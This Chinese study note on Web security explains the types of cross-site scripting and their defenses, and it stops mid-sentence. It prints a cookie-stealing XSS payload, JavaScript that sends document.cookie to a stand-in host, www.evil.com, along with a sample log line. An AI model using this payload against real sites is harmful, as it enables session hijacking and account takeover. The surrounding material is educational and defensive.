白帽子讲Web安全(二)

跨站脚本攻击(XSS)

黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

  1. 反射型XSS
    需要诱使用户“点击”一个恶意链接,才能攻击成功,也叫做“非持久型XSS”。
  2. 存储型XSS
    把用户输入的数据“存储”在服务器端,也叫做“持久型XSS”。
  3. DOM Based XSS
    通过JavaScript修改页面的DOM节点行程的XSS。

XSS Payload

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。
一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。
攻击者先加载一个远程脚本:

http://www.a.com/test.htm?abc=">

真正的XSS Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。
evil.js中,可以通过如下代码窃取Cookie:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。 事实上,http://www.evil.com/log并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录:

127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288

这样,就完成了一个最简单的窃取Cookie的XSS Payload。
所以,通过XSS攻击,可以完成“Cookie劫持”攻击,直接登录进用户的账户。
Cookie的“HttpOnly”标识可以防止“Cookie劫持”。

在XSS攻击成功后,攻击者有许多方式能够控制用户的浏览器
  • 构造GET与POST请求
  • XSS钓鱼
  • 识别用户浏览器
  • 识别用户安装的软件
  • CSS History Hack
  • 获取用户的真实IP地址
XSS构造技巧
  • 利用字符编码
  • 绕过长度限制
  • 使用标签
  • 利用window.name的妙用

XSS的防御

1. HttpOnly

HttpOnly解决的是XSS后的Cookie劫持攻击,JavaScript读取不到Cookie的值。

2. 输入检查

格式检查,有点像白名单,可以让一些给予特殊字符的攻击失效。
XSS Filter在用户提交数据时获取变量,并进行XSS检查;但此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对预警的理解并不完整。同时,XSS Filter对“<”等字符的处理,可能会该表用户数据的语义。

3. 输出检查

除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

4. 正确防御XSS

XSS的本质还是一种“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的语义。

5. 处理富文本

在过滤富文本时,“事件”应该被严格禁止,因为“富文本”的展示需求里不应该包括“事件”这种动态效果。而一些危险的标签,比如